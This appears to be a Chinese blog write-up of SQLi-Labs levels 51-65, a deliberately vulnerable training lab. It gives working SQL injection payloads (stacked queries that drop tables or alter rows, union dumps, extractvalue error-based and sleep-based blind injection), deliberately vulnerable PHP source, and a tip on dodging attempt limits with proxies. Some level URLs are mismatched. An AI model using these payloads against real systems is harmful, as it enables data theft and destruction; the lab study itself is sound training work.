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SQLi-Labs 学习笔记（Less 51-65）

2017-05-26 09:53 736 查看

SQLi-Labs 学习笔记

SQL 百度百科：结构化查询语言，也叫做SQL，从根本上说是一种处理数据库的编程语言。对于初学者，数据库仅仅是在客户端和服务端进行数据存储。SQL通过结构化查询，关系，面向对象编程等等来管理数据库。编程极客们总是搞出许多这样类型的软件，像MySQL，MS
SQL ,Oracle以及Postgresql。现在有一些程序能让我们有能力通过结构化查询来管理大型数据库。

SQLi Labs下载地址：https://github.com/Audi-1/sqli-labs

ps：以下的内容有些是我从别人经验当中摘抄下来的，有些是我自己写的，我把四面八方的经验总结起来给大家，也为了提升自己的技术，如有疑问请在评论区提问，谢谢。

Less-51

本关的Sql语句为：

$sql="SELECT * FROM users ORDER BY '$id'";

因为此处用的是执行多个针对数据库的查询函数：mysqli_multi_query()，因此我们采用 Stacked injection，构建payload：

http://localhost/sqli-labs-master/Less-51/?sort=1';drop table jack--+

Less-52

本关的Sql语句为：

$sql="SELECT * FROM users ORDER BY $id";

与Less-50一样，报错信息不会在前台显示，我们同样采用 stacked injection 方法，payload：

http://localhost/sqli-labs-master/Less-52/?sort=1;insert into users(id,username,password) values('16','jack','jack')--+

Less-53

与Less-51类似，只不过没有报错信息，基于盲注，payload：
http://localhost/sqli-labs-master/Less-53/?sort=1';delete from users where id=16--+

Less-54

①先打开网页查看 Welcome Dhakkan

②查看源码：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-54:Challenge-1</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name

// Submitting the final answer
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";

}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcook
4000
ie("challenge", $hash, $expire);

}

echo "<br>\n";

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

//update the counter in database
next_tryy();

//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";

//Reset the Database if you exceed allowed attempts.
if($tryyy >= ($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
header( "refresh:3;url=../sql-connections/setup-db-challenge.php?id=$pag" );
echo "<br>\n";
}

// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}

}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-54.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form>
</div>

<?php

}

else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}

}

?>

</body>
</html>

此系列主要是一个进阶的学习，将前面学到的知识进行更深次的运用。这一关我们主要考察的依旧是字符型注入，但是只能尝试十次。所以需要在尝试的时候进行思考。如何能更少的减少次数。这里的表名和密码等是每十次尝试后就强制进行更换。

因为已经知道了数据库名字叫做challenges，所以我们需要知道表名。

http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='CHALLENGES'--+

已经得到表名为lwu4odm244，接下来就是要找到该表的所有列

http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='CHALLENGES' and table_name='lwu4odm244'--+

我们得到了所有的列，可以尝试将所有的数据进行查看，此处知道了密码在secret_O8GE列中，所以我们直接查看该列的内容

http://localhost/sqli-labs-master/Less-54/?id=-1' union select 1,group_concat(secret_BVUQ),3 from lwu4odm244--+

将得到的密码进行提交。此处没有进行截图，可自行测试观看效果。

其实实际渗透测试当中，我们可以利用更换ip（可以考虑代理）或者更换浏览器等，要看服务器端检测什么内容进行限制。

Less-55

①先打开网页查看 Welcome Dhakkan

②查看源代码：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-55:Challenge-2</title>
</head>

<body bgcolor="#000000">
<div style ="text-align:right">
<form action="" method="post">
<input type="submit" name="reset" value="Reset the Challenge!" />
</form>
</div>
</right>
<div style=" margin-top:20px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00">

<?php
//including the Mysql connect parameters.
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
error_reporting(0);
$pag = $_SERVER['PHP_SELF']; //generating page address to piggy back after redirects...
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 14;

$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name

// Submitting the final answer
if(!isset($_POST['answer_key']))
{
// resetting the challenge and repopulating the table .
if(isset($_POST['reset']))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have reset the Challenge</font><br>\n";
echo "Redirecting you to main challenge page..........\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
//echo "cookie expired";

}
else
{
// Checking the cookie on the page and populate the table with random value.
if(isset($_COOKIE['challenge']))
{
$sessid=$_COOKIE['challenge'];
//echo "Cookie value: ".$sessid;
}
else
{
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);

}

echo "<br>\n";

// take the variables
if(isset($_GET['id']))
{
$id=$_GET['id'];

//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

//update the counter in database
next_tryy();

//Display attempts on screen.
$tryyy = view_attempts();
echo "You have made : ". $tryyy ." of $times attempts";
echo "<br><br><br>\n";

//Reset the Database if you exceed allowed attempts.

if($tryyy >=($times+1))
{
setcookie('challenge', ' ', time() - 3600000);
echo "<font size=4>You have exceeded maximum allowed attempts, Hence Challenge Has Been Reset </font><br>\n";
echo "Redirecting you to challenge page..........\n";
echo "<br>\n";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}

// Querry DB to get the correct output
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";

}
else
{
echo '<font color= "#FFFF00">';
// print_r(mysql_error());
echo "</font>";
}
}
else
{
echo "Please input the ID as parameter with numeric value as done in Lab excercises\n<br><br>\n</font>";
echo "<font color='#00FFFF': size=3>The objective of this challenge is to dump the <b>(secret key)</b> from only random table from Database <b><i>('CHALLENGES')</i></b> in Less than $times attempts<br>";
echo "For fun, with every reset, the challenge spawns random table name, column name, table data. Keeping it fresh at all times.<br>" ;
}

}

?>
</font> </div></br></br></br><center>
<img src="../images/Less-55.jpg" />
</center>
<br><br><br>
<div style=" color:#00FFFF; font-size:18px; text-align:center">
<form name="input" action="" method="post">
Submit Secret Key: <input type="text" name="key">
<input type="submit" name = "answer_key" value="Submit">
</form>
</div>

<?php

}

else
{
echo '<div style=" color:#00FFFF; font-size:18px; text-align:center">';
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
//echo $key;
//Query table to verify your result
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
//echo "$sql";
$result=mysql_query($sql)or die("error in submittion of Key Solution".mysql_error());

$row = mysql_fetch_array($result);

if($row)
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/Less-54-1.jpg" />';
echo "</font>";
header( "refresh:4;url=../sql-connections/setup-db-challenge.php?id=$pag" );
}
else
{
echo '<font color= "#FFFF00">';
echo "\n<br><br><br>";
echo '<img src="../images/slap1.jpg" />';
header( "refresh:3;url=index.php" );
//print_r(mysql_error());
echo "</font>";
}

}

?>

</body>
</html>

一样的套路，payload：

http://localhost/sqli-labs-master/Less-55/?id=-1) union select 1,group_concat(secret_XNSK),3 from zavy2e9297--+

Less-56

本关的Sql语句为：

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

其余并没有很大的差别，payload：

http://localhost/sqli-labs-master/Less-56/?id=-1') union select 1,group_concat(secret_ZJ3S),3 from 2d224f1jrt--+

Less-57

Sql语句为：

$id= '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

其余没什么太大差别，payload：

http://localhost/sqli-labs-master/Less-57/?id=-1" union select 1,group_concat(secret_VBKZ),3 from na3kmueucm--+

Less-58

关键代码：

$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];

执行sql语句后，并没有返回数据库当中的数据，所以我们这里不能使用union联合注入，这里使用报错注入。

payload：
http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e))--+

获取列：

http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='mygzz18436'),0x7e))--+

获取secret_1WUE的内容：

http://localhost/sqli-labs-master/Less-58/?id=-1'or extractvalue(1,concat(0x7e,(select group_concat(secret_1WUE) from mygzz18436),0x7e))--+

Less-59

区别就是这句Sql：

$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

payload：
http://localhost/sqli-labs-master/Less-59/?id=-1 or extractvalue(1,concat(0x7e,(select group_concat(secret_0V8F) from piaadlc6kd)))--+

Less-60

区别在于：

$id = '("'.$id.'")';
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";

payload：
http://localhost/sqli-labs-master/Less-60/?id=-1") or extractvalue(1,concat(0x7e,(select group_concat(secret_PDXT) from 0akzt15auj)))--+

Less-61

Sql语句为：

ade1
$sql="SELECT * FROM security.users WHERE id=(('$id')) LIMIT 0,1";
payload：

http://localhost/sqli-labs-master/Less-60/?id=-1')) or extractvalue(1,concat(0x7e,(select group_concat(secret_PDXT) from 0akzt15auj)))--+

Less-62

这次的Sql语句为：

$sql="SELECT * FROM security.users WHERE id=('$id') LIMIT 0,1";

不过，错误信息没有显示在前台，也就是说我们要盲注了，payload：
http://localhost/sqli-labs-master/Less-62/?id=1') and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+

Less-63

Less-63 和less62一致，我们只需要看到sql语句上因此构造payload：

http://localhost/sqli-labs-master/Less-62/?id=1' and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+

Less-64

Sql语句为：

$sql="SELECT * FROM security.users WHERE id=(($id)) LIMIT 0,1";

示例payload：
http://localhost/sqli-labs-master/Less-62/?id=1)) and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+

Less-65

Sql语句为：

$id = '"'.$id.'"';
$sql="SELECT * FROM security.users WHERE id=($id) LIMIT 0,1";

payload：
http://localhost/sqli-labs-master/Less-62/?id=1") and if(ascii(substr(database(),1,1))=99,1,sleep(5))--+

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标签： SQLi-Labs Sql注入 web安全数据库漏洞

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